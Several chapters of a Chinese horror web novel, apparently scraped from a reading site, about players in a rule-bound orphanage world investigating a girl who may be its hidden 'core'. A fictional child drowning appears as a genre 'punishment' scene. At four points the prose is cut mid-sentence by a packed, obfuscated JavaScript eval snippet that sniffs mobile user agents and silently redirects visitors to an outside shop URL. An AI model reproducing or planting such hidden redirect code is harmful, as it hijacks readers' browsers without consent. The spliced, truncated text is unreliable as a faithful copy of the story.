身高/体重:98cm/18kg【注:发育不良】 具体信息:被父母弃养,送到本院进行抚养。 原家庭情况:父母为X省X市X县X村的一户农民,经济拮据,父母均为小学文化,因生育了二胎选择放弃抚养孩子。 个人教育情况:未上过幼儿园,将安排院内老师进行相应的学习辅导。 …… 某教师的辅导反馈:小玲在数学方面有很高的天分,但平日里喜欢独处,性格孤僻,难以融入集体,后续请护工们进行思想教育。 除此之前,在个人荣誉一栏里,记录了很多她参加奥数竞赛拿到的名次;同时在惩罚一栏,也记录了一些她跟同龄人发生的冲突。 这份记录详细得简直像个活人。 今天早晨司沉对小玲的疑惑出现在脑海中:她有没有可能,不是诡异? “徐敏,福利院原本的孩子里,没有小玲吧?” 对方点点头,她得到肯定的答复。 “今天出入福利院的人也没有小孩吧?”迟青瑜在思考着不同的可能性。 徐敏察觉出异常:“学姐,怎么了吗?” “小玲的信息太特别了,她就像一个活生生的人,跟其他的诡异完全不一样。” 最特殊的是,她没有表现出诡异对自己的欲|望。 徐敏品出一丝不对劲来:“可如果她不是人,也不是诡异,那又是什么呢?” 司沉说过,在怪谈里面无非只有几种身份,人类中的活人和死人,以及诡异方的…… 答案似乎在顷刻间呼之欲出,迟青瑜瞳孔骤然紧缩:“……你还记得《玩家守则》里面提到的‘核’吗?” 徐敏当然记得:“但是,‘核’具体是什么东西呢?” 迟青瑜搬出司沉的解释:“‘核’就是怪谈世界的核心,这个怪谈是因其建立,规则也是祂建立的……” 司沉的小队对此有自己的研究结论。 他们认为,“核”或许是现实中死去的人的集合体,或许是一个或许是多个,且祂们在怪谈中的形态不定。或许是这些人死去的时候发生了什么不为人知的过程,产生了特殊的能量,这些能量构成了“场”,也就是怪谈。 迟青瑜严谨地补充道:“这些观点都处于理论阶段,事实上,只有个别案例能侧面证明,并不具备普遍性。” 但现在,她开始考虑这个理论成立的可能性。 徐敏捕捉到重点:“学姐,你怀疑小玲是‘核’?” 迟青瑜还给一个晦暗难明的眼神,徐敏倒吸一口凉气:“那不就是幕后大BOSS吗!你整天跟BOSS待在一起,太危险了吧!” 迟青瑜:……我没法解释,其实跟普通诡异待在一起更危险。 她没有理会徐敏的诧异:“如果按照这个理论,这个世界是小玲死后构建的话,那么或许能解释为什么她的情况是最特殊的。假设其他诡异都是捏造出来的,不管祂们有没有原型,都不会跟本人一样详尽,毕竟人最了解的是自己。” 徐敏沉默半晌,重重叹气:“如果是真的,那她好可怜啊。从小就被遗弃,有这么好的天赋却没能好好培养,还不知道为什么死了……她父母真的不配当人!生了二胎就不要她了?生的不会还是个弟弟吧?!” 迟青瑜没有作答。 她有意无意地引导:“这份资料里面并没有详细记载她的生平,如果这个世界是她创造的,或许在别的地方会有蛛丝马迹。” 经她提醒,徐敏这才想起来还有一整面墙的柜子没有看:“对了,我们是来找那本童话书的后续的,青青说那本书叫《沉睡的公主》。” 她急忙抄起工具,对着档案柜一通操作。 迟青瑜将资料收拾好,正准备物归原位时,察觉到一丝异样: 抽屉的深度不对。 内部的高度明显低于外部的高度,相差好几公分。 ——有夹层。 她背脊发凉,偷偷瞄一眼不远处的徐敏,对方背对着她,专心处理柜门的锁,没有注意到这边的动静。 迟青瑜伸手探向抽屉底部,在底板处摸到了一个圆孔,刚好可以伸进一个手指,她将食指伸进去一戳,夹层的薄板被手指顶起,露出下面的内容物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178595|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 夹层底部贴着一张纸,上面写着《天使孤儿院管理员注意事项》。 《天使孤儿院员工守则》: 1、所有员工必须服从院长的安排。佩戴着院长胸牌的就是院长,如果有人不认识院长,认清胸牌即可。 2、每个护工和教职员工必须24小时巡逻,监督并记录孩子的一举一动,遇到需要教育的孩子,立即带去地下一楼的反思教室进行思想教育。 3、在教育过程中,如果发现海洋里出现孩子的尸体,不用惊慌,那是幻觉,他没有死。继续教育孩子,直到他变得符合要求为止。 4、领养人是非常重要的。在领养人访问期间,要保证他们熟读《领养人守则》,做到真正的关心和爱护孩子。领养的孩子达到本院的要求后,领养人和孩子方可离开孤儿院。 5、十二岁以后还未被成功领养的孩子,请交给院长进行特殊处理。 迟青瑜特地检查了,这份文件上面确实有孤儿院的公章。 “学姐,我找到了!”徐敏那边传来喜悦的呼声。 迟青瑜面色如常,收拾好资料锁上抽屉,压下心中的疑虑。 两人打开童话书,细细阅读起来。 《沉睡的公主》: 银发的公主长大了,从来没有离开过高塔的她,一天无意中发现自己的身世,受够了女巫严苛对待的她,决定去寻找自己真正的父母。 于是,每当女巫来剪她的头发时,她都偷偷藏下一点,将积攒下来的头发编成绳子,终于有一天,绳子的长度足以让她从塔楼逃离。 她踩着智慧的绳梯,第一次逃离了束缚她的高塔。但邪恶的女巫发现了她的踪迹,她对小公主设下诅咒:“你走吧,就当我从没养过你!就算你回去寻找你的父母,也不会得到他们的爱。我诅咒你,在你十二岁生日那天,你将会被玫瑰花的毒刺刺中手指,陷入永远的沉睡——直到真爱来临的那天。” 小公主不以为意:她才不会碰有刺的玫瑰花! 于是,银发的公主历经千幸万苦,终于找到了她出生的国度,但令她惊讶的是:全国境内种满了玫瑰花! 经过询问,她才知道,原来在她被送走后几年,国王和王妃就生下了一个小王子。小王子天生就有一头金色的秀发,国王大喜。因王子喜欢玫瑰,于是国王便下令让全国种满玫瑰。 她小心翼翼避开玫瑰花,来到城堡,面对国王和王后,她表明了自己的身份。但王后却并不认可她:“你不是我的孩子,你这个怪胎,快看你的头发,那简直就是怪物的模样!” “不,我的母亲,我天生就拥有这个发色,这是神给予我的礼物。” “神不会将银色的头发赐予任何人,他应该让每个孩子都乖巧可爱,就像我的孩子那样。” 公主被国王赶出城堡,如女巫所言,她没有得到亲生父母的爱。 这样下去,她会如同诅咒说的那般,在十二岁那天陷入永远的沉睡吗? “我不能让诅咒应验。” 小公主想:如果没有小王子,王国里的玫瑰会消失吗? 故事又一次戛然而止。 两人陷入良久的沉默。 徐敏咬牙切齿:“这肯定是生了个二胎耀祖了吧?” 迟青瑜不语。 “姐姐?”熟悉的女声。 迟青瑜蓦然转身,看到小玲正站在办公室门口。 她神色阴翳:“你在这里干什么?” 12.012 “姐姐,你在做什么?” 迟青瑜故作镇定:“没什么,你怎么过来了,司沉哥哥不应该带着你们一起读书吗?” “那个男孩不想读书,把书撕了,哥哥去叫了护工。” 小玲的声音听不出情绪,她的视线落在迟青瑜手中的童话书上,顿了两秒,有些呆愣地眨眨眼睛。 “我不喜欢这本书,上面说的诅咒跟我们孤儿院的惩罚一模一样。” 迟青瑜皱眉:“惩罚?” 小玲平静地说道:“十二岁还没有被领养的孩子,院长阿姨会处理他们,姐姐,我很快就要满十二岁了。” 她的措辞令徐敏感到不适,徐敏想到眼前的小女孩过去的遭遇,心中升起一股同情:“小玲,我知道你……过去很难过,但,你为什么要建立这一切的规则来惩罚自己呢?” 小玲眨眨眼:“我听不懂你的话。” 徐敏:? 女孩的语气里带着无力与妥协:“你们都知道了吧。我被父母抛弃,七岁被天使孤儿院收养,对我来说,孤儿院的规则就是一切准则。” 迟青瑜拉住徐敏想要插话的意图,她使使眼色,徐敏很识趣地闭嘴。 没有人阻拦,小玲便继续说了下去:“这个世界就是这样的不是吗?大人要遵守规则,小孩子也要,只有这样我们才会变成适合世界的模样。” 咋一听,旁人会觉得这话由一个十二岁的女孩说出来,纯粹是中二期的无病呻吟。 可迟青瑜却品出一丝不对劲来。 她巧妙地引导话题:“那你还记得七岁以前的事情吗?或者对外面的世界有什么印象?” 小玲摇摇头:“不记得了。我们都没有离开过孤儿院,只有被成功领养才能离开这里。” 迟青瑜半眯起眼。从女孩的回答中,她有了新的猜想:建立怪谈的“核”,或许并不知道这个世界的异常,也不知道自己是所谓的核心。 可能,这个世界是她在无意识下创造的,她对此并不知情。 迟青瑜顺着她的话继续说:“你想被成功领养,但据我观察,你的表现并不算好,或许王护工手里的表格上经常给你打低分。换句话说,想要短时间内成功‘毕业’,几乎不可能?” 小玲没有正面回答她的问题,而是将视线从童话书上挪开,看向迟青瑜的胸口。 “姐姐,你早上说的交易游戏还能玩吗?” “你想要什么?” 女孩的声音幽幽地传来:“书上说,心脏里装着人类的灵魂。” “大家都喜欢你,姐姐。” “我在想,如果我能得到你的心脏,是不是大家也都会喜欢我了呢?护工也不会整天说我不合群,老师也不会嫌弃我跟他们顶嘴,其他小朋友也不会讨厌我,会愿意跟我玩……” “被人喜欢真好。” 小玲露出她标志性的笑:“所以姐姐,把你的心脏给我吧?你想要知道什么,我都可以告诉你。” 迟青瑜的后背渗出汗水。 “核”的智力水平果然跟普通诡异不一样,她不能掉以轻心。 “没了心脏我可就没命了,这么狮子大开口,你有价值相当的情报进行交换吗?而且,我死了,谁把你领养出去?” 小玲歪头一想,好像是这么个道理。 迟青瑜咬着后槽牙,脑子里飞速思考着对策,她粲然一笑:“你不需要一定得招人喜欢。” “你没有见过外面的世界,版本太落后了。” 小玲的表情看似对“版本”两个字有些困惑。 徐敏在一旁大气不敢出,她瞄一眼迟青瑜,预感对方又要开始胡言乱语了。 迟青瑜下巴微微扬起:“现在不流行被霸凌冷暴力的悲情女主角了,现在流行凭实力孤立全世界的大女主。” “大女主?” 迟青瑜肯定地点头:“你的目的是离开孤儿院,但你不需要把自己塞进规则里,让大家都认可你。只要能达到你的目的,过程有时候并不重要。” 小玲更加困惑了:“还能有什么办法呢?” 好,她的思路被成功带偏。迟青瑜暗喜。 “你不喜欢孤儿院的规则,我也不喜欢。所以,为什么我们不干脆拆了孤儿院呢?” 迟青瑜想到童话里的最后一句话——如果没有小王子,王国里的玫瑰会消失吗? 如果这个童话映射的是小玲的过去,那她想必会欣赏自己的提议。 不出所料,小玲恍然大悟:“拆了这里?” 但很快,她瞬间变得警惕:“你想利用我?” “这不叫利用,这叫合作。我也想离开这里,但如果你不能合格,我不也没法离开吗?所以,我们的目的是一样的。” 迟青瑜此刻如同鬼魅,她嫣然一笑:“你不认可的规则,不需要遵守。只要孤儿院不在了,就没有谁可以束缚你。” 空气陷入数秒沉寂,迟青瑜和徐敏紧张地等待着对方的答复。 良久,女孩平淡的声音传来: “好。” 迟青瑜松一口气:“那我们说好了,今天说的事情是我们的秘密,包括我和徐敏姐姐在这里做的事情,你都没看见。” 女孩点头。 “还有一件事。” 迟青瑜放下书本,朝门口走去:“司沉在哪?” ------------------------------------------------------ 同一时间,天使孤儿院地下一层。 司沉领着男孩,跟在王护工的身后向前走,三人在走廊尽头左拐,通过狭窄的通道,眼前出现一个紧锁的铁门。 门后,应该就是地下一层的教室了。 三人在铁门前,遇到了另一波人。 司沉越过对方,看到护工身后的女孩,他皱眉,语气带着惊异:“小希怎么又来了?” 原本应该跟在林巧雁身旁的女孩,此时再一次出现在地下室门口。 身旁的护工回答他:“她的领养人表示她又犯错了,我们带她过来教育教育。” 护工说完,转身打开铁门。 惨白的灯光点亮向下的阶梯,开门的护工抓着小希的手臂,先行向下走去。 王护工拦住司沉:“这位领养人,地下一层的教室不允许领养人进入,孩子跟我走,你就在这里等吧。” 司沉没有答应,他深呼吸,像是下定决定。 “听着。” 司沉身材高大,但并不壮硕,他向前一步挡住午后的阳光,在他投下的阴影里,高阶诡异莫名产生了恐惧心理。 “我需要进去参观,了解我的孩子到底会经历什么样的教育。作为他未来的监护人,这个要求合乎情理。你不用担心,时间不会很长,最多十五分钟就出来。”男人声线低沉,礼貌地提出自己的要求。 他刻意将几个关键词咬得很重。 高阶的诡异神情恍惚,呆愣地点点头:“好。” “那就有请带路吧。” 王护工自顾自地向前走,司沉看着祂的背影,抬起脚,迈进地下室的门。 空气瞬间变得粘稠,司沉的胸膛剧烈地起伏,大口呼吸着,想要在胶水一般的空气中摄取氧气。 他眼冒金星,四肢发软,耳朵像是蒙上了一层薄膜,周围的一切都不甚清晰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188562|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 司沉并不慌张,当下的情况在他意料之中。 他没有告诉迟青瑜的是,当自己的嗅觉与味觉出现问题后,他的身体好像进化出对诡异的特殊功能。 他可以对高阶的诡异提出一定的要求,就算是违反了怪谈中的规则,诡异也几乎不会拒绝,也不会判定他的行为为犯规。 靠着这样的特殊能力,他成功从几个怪谈中逃生。 但这个能力有很大的局限性,并不是什么要求诡异都会接受,他尝试多次,才找到一个规律。 通常来说,只要不是太过分的要求,且符合当下情景,一般都能成功,不过只有十五分钟的生效时间。 这个能力的代价也很明显:他为数不多的感官敏锐度都会下降,精神会被轻度污染,最可怕的是,意志力也会有所降低。 好在,这种情况也只会维持最多的十五分钟。 “你怎么了?” 护工的声音像隔着一层水面。 司沉咬着下唇,摇头:“没事,继续走吧。” 汗水打湿他的内衬,司沉拖着沉重的步子继续向下走。 他来到地下一层。 护工说,这里是反思教室,可他定睛一看,这里没有半点教室的样子。 只有一池子水。 用水泥砌成的方形水槽,面积很大,足有普通游泳池的大小,但他向四周张望,却没有看到任何游泳池应该有的设施。 司沉这才接受现状:这真的仅仅是个水池。 “脱衣服。” 司沉闻声望去,原来是护工对小希说的话。 小希低着头,没有反抗,安静地脱掉衣服,就这么赤|条|条地站在众人面前。 就算是诡异,这个场景也司沉感到不适。 没等他有所动作,那护工伸手一推,把女孩推进水池里。 小希显然并不善水,她在水池里扑腾挣扎着,身体起起伏伏,但她没喊救命,司沉看到过她的眼神,只有绝望和不甘。 “快住手,你们在干什么?!” 他的话没有得到理睬,护工更是伸出一只手,按住小希的头,将她死死按在水下:“让你不听话,惹大人生气!这都是你自找的,活该!” 凌乱的水面上,只能看到一双手还在扑腾,但很快,那双手也沉了下去。 “什么……”司沉呆愣在水池边。 女孩的尸体浮了上来,灯光照出她蜡白的脸色。 死了。 一阵晕眩感涌上来,司沉勉强站稳身形。 这就是他们说的反思?这叫哪门子反思?把孩子按死在水池里面,人都死了,反思还有什么意义? “不用担心。” 护工见他状态不好,“善意”提醒:“她很快就会变成乖孩子了。” 尸体顺着水流,飘着飘着离远了。 那个通道链接着哪里,是外面的海吗? 咕噜。 凌乱的气泡从水下升起。 咕噜咕噜。 越来越多的气泡汇聚成泉涌,水下的动静越来越大,司沉警惕地后退半步,只见一只稚嫩的手突然从水面伸出,五指死死扒着水池边缘。 女孩熟悉的身形从水面跃起,她趴在地面上喘着粗气。 司沉恍惚间好似觉得,她的背上,长了什么黑色的东西? “小希,你现在听话吗?” 护工冰冷的声音落在耳侧,女孩就这湿漉漉的头发,抬起脸。 她环顾四周,好似没有找到自己期待的人。 最后,她跟司沉对上视线。 女孩笑得阴森叵测:“司沉哥哥,你看到我妈妈了吗?” 13.013 在怪谈里,越不允许靠近的地方,越容易隐藏着核的秘密。 当规则里明确指出地下一层和院长办公室禁止进入时,在司沉眼里,几乎等同于告诉了他副本宝藏的入口。 他本想借机会单独行动,潜入收集信息,但当下的状况超出了他的预想。 女孩见他不回答,转身拾起地上的衣物,穿好后抬头看向护工:“我要去找她。” 护工没有阻拦,司沉知道她指的是谁。 能力的副作用还没有完全消散,女孩走得很快,司沉居然只能勉强跟上她的步伐。 女孩的情况很不对,这时候她去找林巧雁,对方想必凶多吉少。 他跟着女孩七弯八拐来到大厅,林巧雁正坐在一旁的接待椅上,见到小希,她三步并作两步冲上前来。 “等等,别靠近她。”司沉的警告并无作用。 林巧雁此刻已经完全沉浸在自己的角色中,像一个真正的母亲,焦急地等到了晚归的孩子,用担心的语气嘘寒问暖。 “妈妈很担心我吗?” “当然了,怎么会有母亲不担心自己的孩子呢?小希,你有受伤吗?” “受伤……”小希被她抱在怀里,“妈妈知道小希会受伤,为什么还要把我送去那里呢?” “妈妈只是想你能当个好孩子……”林巧雁抚摸着女孩的头,“只要你好好听话,我们就能离开这里,爸爸也会回来的,我们一家人会过上好日子的。” 女孩眼神冷下来。 两人都没有动作。 ——不对。 感官在这一刻回归,司沉跨步上前,想要将女孩从林巧雁的怀抱中扯开。 但两人的身躯像岩石,他尝试了几次都无法挪动半分。 有窸窸窣窣的声音传来,女孩的衣裙耸动,有什么东西从她的后背开始生长开来,隔着布料扎得手疼。 司沉下意识松手,那东西的生长速度更加放肆。 而后,漆黑的硬羽刺穿布料,从后背的肩胛骨开始蔓延致手臂,女孩的双手伸长、扭曲,分化成一对的翅膀,颌骨突出畸变,形成尖锐的鸟喙,眨眼的功夫,她竟变成了一只通体漆黑的乌鸦。 乌鸦巨大的鸟喙刺向林巧雁的胸口,她两眼失神,并无躲闪,胸前被刺了个对穿。 鲜血溅射,满地猩红。 那乌鸦叼着一块什么东西,司沉看得清晰,是女人的心脏。 随后它仰头,一口将心脏吞下。 “司沉!” 有人在背后大喊他的名字。 乌鸦没有理会这个声音,它煽动双翼,撞开玻璃大门,朝着天空飞远,留下一地狼藉。 迟青瑜赶来的时候,只看到林巧雁的尸体和站在一旁像尊雕像的司沉。 周围不知道什么时候,围起来一圈人,那都是孤儿院里的诡异。 祂们窃窃私语。 “好可惜,小希最听话了,差点就能变成天使了。” “是那俩个人不好。男的先抛弃妻子,女的又虐待孩子。” “好可怜,幸好小希拿到了她的灵魂。” ——这样她就能永远拥有妈妈的爱了。 迟青瑜在司沉几步之外站定,男人深吸一口气,有些僵硬地转身:“她被规则杀死了。” 被规则盯上,就是无法阻止的死亡。 迟青瑜沉默半晌:“她没有明确触犯那条规则,除了……第一条,她忘记了自己的身份。《玩家守则》在提醒我们,被怪谈同化是非常危险的事情,她失去了判断能力,自然而然地踩进陷阱。” 她转过身,不去看那具尸体。 “在怪谈里死去的人,现实里会怎么样?”她问。 “失踪。” “没有尸体,警方只能认定为人口失踪。” 迟青瑜紧紧攥着手里的纸张:“我来晚了。” 司沉如鲠在喉,眼前的人或许是第一次面对死亡,或许她曾经想过办法逃离困境,但世事无常,最终也只能归结为命运的嘲弄。 “都聚在这里干什么呢?” 王护工拨开人群,指挥道:“怎么这么脏?叫保洁过来,魂儿都没了,已经没用了,直接扔海里就行。” 她抬手在表格上画叉,林巧雁与张耀的名字被红色的墨水覆盖。 迟青瑜死死盯着她手上的表格,气极反笑。 王护工扯出虚伪的笑容,不屑道:“迟小姐,我可要提醒你,如果你的孩子在明晚前,表现分数没法合格——” “不会的。”迟青瑜一口打断她接下来的话。 她将手里的文件塞进护工怀里:“你好好看看上面的东西吧。” 那一沓资料,正是她在办公室里找到的档案,护工一番查阅,原本大部分都空着信息的档案此时变得详细,并且内容雷同,像是复制粘贴。 “怎么回事?” “或许你应该看看领养信息那一栏。”迟青瑜好心提醒。 所有的档案里,孩子的领养人一栏都写着同一个名字:迟青瑜——这是她刚刚在办公室里篡改的信息。 “现在,所有的孩子都被我认领了。” 她想了很久。 事实上,天使孤儿院的规则里,并没有哪一条规则是针对孩子的,规则只约束成人;并且,一旦孩子被认领,他的言行评定权利就从护工落到了领养人的手上,是否惩罚也不由护工主张。 只可惜,一开始张耀和林巧雁就被规则带偏,下意识地履行起成年人的义务:管教孩童,一步步走入“核”设下的陷阱。 护工不明白她的用意:“你这是干什么?” 她没有注意到的是,周围的孩子们,原本空洞的眼神里,都浮上了清晰的神色。 “孩子会变得像大人的,不是吗?” 迟青瑜站在人群中央,几十双眼睛注视着她。那些视线里,有渴望,有困惑,有不解,有不屑,有鄙夷……但最重要的是,祂们有了智慧和思维。 她对着诡异们高声喊着:“从现在开始,你们只有一个目的,那就是从这里出去!” “忘掉那本手册,在我这里,那五百条规则全部作废!你们不用遵守严格的时间表,不需要害怕护工责罚,从现在开始,你们想做什么都可以。” 全世界的孩子都会喜欢这句话。 像是清冽的水撞进热油里,滋啦滋啦响着蒸汽。 他们交头接耳。 “真无聊,没意思,还不去多看几本书。” “我不想那么早睡,我昨天的星星还没数完呢。” “你说人多久不睡觉会死?” “电工太废物了,最近老停电,要不我们去看看咋回事吧?” “……其实我觉得小玲蛮厉害的,我对数学也很感兴趣。” …… “安静,都给我安静!”王护工的话再也不是圣旨,孩子们瞥了她一眼,散开去做自己的事情。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203548|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你们、你们还有没有规矩!”护工见这招并不管用,转身瞪着迟青瑜,“这就是你的规矩?这就是你对小孩的要求?” “啊对,怎么了?” 迟青瑜理直气壮:“我爸妈就是这么教我的,你不服?” 她不慌不忙:“我记得,《员工守则》里面,要求你们24小时监督每一个孩子吧?那你们可有够忙的。” 护工愤怒的表情僵硬一瞬。 迟青瑜看向四处奔走的小孩,他们的目的地各不相同,但都遵循着自己的兴趣与意愿。 “有一个坏消息要告诉你,我小时候可招人烦了。” ------------------------------------------------------ 天使孤儿院这天绝对说不上安宁。 严重点说,甚至有些鸡飞狗跳。 迟青瑜这个名义上的领养人对这几十个孩子是一概不管,直接撒手放养,只要不犯杀人放火等原则性问题,都是小事。 她也不怕真的闹出什么动静,毕竟她小时候会做什么,自己一清二楚。 太阳已经西斜,然而失去管制的孩子就是归山的兽,让员工们忙得脚不沾地。 这样一来,也没有突然冒出来的诡异要分食她的五脏六腑,迟青瑜难得安心下来。 “……说真的,我有点被吓到。” 司沉走在她身后,思考了好久,才决定跟她搭话。 “我没有别的意思,并不是想批判你,但是,你这个做法——” 他决定还是表示赞同:“很有效。” 迟青瑜脚步不停,一边观察着四周,一边往宿舍的方向走去:“幸好有用,不然我就凉了。你发现这里变了吗?” 她的思维总是很跳跃,司沉一时没接住:“这里的变化?” “很多地方都不一样了。”她指着几处地方阐述,“这里之前看起来只是变旧了,装潢风格变成上世纪九十年代的样子而已,但现在不一样,出现了很多不应该出现的东西。” 例如广场上突然出现的百年大树、泥泞的小道、被遗弃在角落的农具等等,这里变得更加真实、富有生活气息。 司沉也是第一次遇到这种情况:“你的猜想是?” 他现在已经学会提前问答案。 “不知道你有没有了解过一些简单的心理学理论。” 当司沉告诉她,关于核与怪谈的猜测时,迟青瑜就有过这方面的想法。 “人死后,他的心理活动还会存在吗?在心理学上认为,认知、情绪和意志,是人的心理活动的基本形式。很多文化里面,对于人死后情况的描绘,都或多或少参考了他生前的样子。” “例如,吊死鬼会有长舌头,饿死鬼前胸贴后背,冤死的女人会变成厉鬼报仇……” “这些死后情形的描述,基本都脱离不开这个人的认知和情绪表现,我是说,如果我们参考传统的说法——” “假设怪谈的建立,也受到‘核’的认知影响呢?” 迟青瑜在一扇门前停住脚步。 这是一扇斑驳的木门,与其他门相比,这门上面多了很多铅笔书写与图画的痕迹,还有一些童稚的话语,显得与周围格格不入。 天使孤儿院的规则虽然没有消失,但已不再稳固,怪谈的那层面纱解后,背面会是什么东西? “走吧,门后有我们想要的答案。” 14.014 迟青瑜轻轻推开门。 门很旧,但五金部件却奇迹般没有发出刺耳的声响。 门后是一片较为空旷的房间,光线很昏暗。 迟青瑜不得已,只能再次打开手机的手电筒模式——之前,她为了省电,几乎没有拿出来使用。 司沉同样开启手机,两人前后脚走进房间,上下打量着。 这是一间十几平米的农舍,墙壁由泥土和砖块混合筑成,房梁的木头积灰严重,迟青瑜甚至能听到虫蚁啃食木头的咯吱声。 屋内可以用家徒四壁来形容,角落摆着一张木头搭建的床,上面铺盖着旧被褥,墙角放着些许生活杂物、矮桌矮凳,除此之外再无多余的家具。 尽管如此,从一些小细节中,还是能看出这里曾经住着一对夫妇,并且还有一位年幼的孩子。 空气中飘着细小的灰尘,迟青瑜半掩住口鼻:“这里,应该是小玲七岁以前生活的地方。” 她将思路分析一二,司沉反倒露出比徐敏还要惊讶的表情:“进了这么多次怪谈,我从来没见过‘核’现身。如果这件事属实,那么玩家对怪谈的了解会比以前更详细。” 迟青瑜幽默道:“如果我们都能活着出去的话。” 两人对视一笑,随即收起玩笑的心态,寻找起有用的线索。 这件屋子的破旧程度,放到现在,也是现实里几乎找不到的类型,就算有,大多也都是些空屋子,早已无人居住。 “小玲应该不是我们这个时代的人。”迟青瑜一顿,认为自己说得不够准确,“或者说,已经是上个世纪的人了。” 司沉提出异议:“不可能是偏僻山村的孩子吗?” 迟青瑜摇摇头,指着墙壁上不起眼的痕迹,不细看会以为是脏污:“虽然已经模糊了,上面用炭写着庚午两个字,这是他们家自己记的日历,农历庚午年是1990年。” “从中可以得到的信息很多:例如,这家里应该至少有一个识字的人,并且用阴历记载年历,证明这家的主人比较看重传统。”她又细细看着,好在这份日历还算是符合时代,用阿拉伯数字标注了日期,“这是公历七月的日子,十四号被标注出来。” “七月十四,这可不太吉利啊。”司沉皱眉。 迟青瑜白他一眼:“公历的七月十四而已,对于这家人来说,农历才是正经的日历。” 司沉停顿两秒:“这天应该是什么特殊的日子,才会被特意标注,比如说……” 迟青瑜想到最明显的答案:“生日。” 她又去翻找床褥,蹭得身上一层灰。床单和被子就是轻薄的款式,棉花在里面团成一个个球,显然已经使用多年未曾更换。 她从被褥里翻出几件衣服,有大人的也有孩子的,看来这家人把常用的衣物都堆在床上,充当临时衣柜。 床挨着墙壁,留有一定缝隙,迟青瑜伸手进去,摸到了一本发黄的书籍。 “黄帝内经?” 司沉看过来:“听上去是很古老的东西。” 迟青瑜随意翻动书页:“黄帝内经是我国最早的医学著作,你可以简单理解成医书,记录中医相关内容的。” 没翻多少,她就皱起眉头:“这本书不对。” 司沉:“怎么了?” “这本书的内容不对,没有多少正经的医学理论知识,都是些歪门邪说。”迟青瑜鄙夷道,“我在隔壁学校图书馆借过来看,骗不了我。” 她面色凝重,这上面记载的内容,反复提到了很多关于“修行”和“生育”的内容,还有很多认不出来的草药名字,像是什么偏方。内页还夹着一张旧纸条,写着某人的生辰八字。 ——赵雪玲。 这应该是小玲的真名。 “这家人,好像一直在治疗不孕症。但他们明明有一个孩子,为什么?” 司沉想到什么,表情古怪:“有没有可能是求子。” “上个世纪的农村,重男轻女很严重,如果这家人主要依靠农活过日子,那没有青壮年男性劳动力,会在村子里面受欺负。或许他们已经有了女儿,还想要个儿子。” 迟青瑜扯扯嘴角:“你说得倒是委婉了。” 司沉语塞,他一时也不好多参与这个话题的讨论,但他看迟青瑜的表情,明显并不赞同他的说法。 “他们想要男孩不假,但我总觉得有些奇怪……”她一时也说不上来。 司沉此时从角落里翻出一些生活用品:一些儿童读物、一本新华字典、两三根铅笔和旧草纸。 迟青瑜瞄一眼内容,十分笃定:“这是小玲的字迹,我见过。” 儿童读物几乎都被翻烂了,新华字典的外壳也将脱落,旧草纸上的内容是一些孩童的练习。 “他们在家里教孩子认字。” 迟青瑜翻着纸张,看得很快:“这俩夫妻应该还是喜欢小玲的,不然他们没有必要特意教她读书认字,特别是在这样的条件下。” 她在一堆废纸张里发现了些奇怪的痕迹。 数字,重复的数字,蚂蚁一样小的数字铺满了整张纸,并且,一张纸上只有一种数字,整整齐齐罗列在她眼前。 仔细看,这些纸张存放得也比较完好,四周都没有翘边和褶皱。 “这是什么?”司沉满脸疑惑。 迟青瑜没有回答这个问题:“我们再找找别的线索。” 十几平米的屋子很小,两人很快就翻了个遍,迟青瑜并没有发现第四个人的生存痕迹,至少在小玲七岁以前,她还是独生女。 “所以——”司沉尝试总结,“这个怪谈的核,是一名家境贫穷的农村女孩,中间或许经历了什么意外,最后成为孤儿被孤儿院收养,然后因为什么原因死了。” 这些过程全都不清不楚,迟青瑜觉得他白总结了。 “肯定还有一些东西我们没找到。小玲创造的空间,一定与她自身有很强的联系,孤儿院、领养制度、天使、评分制、惩罚……”她快速地在脑内过信息。 司沉想到自己在地下室的所见所闻,他斟酌着措辞:“惩罚……会不会有什么深意。” 迟青瑜抬眸,恍然大悟:“这个年纪的孩子都很看重奖惩,他们对于是非善恶的判断主要来自成人……” 她思索时,语速很快:“按照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212257|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 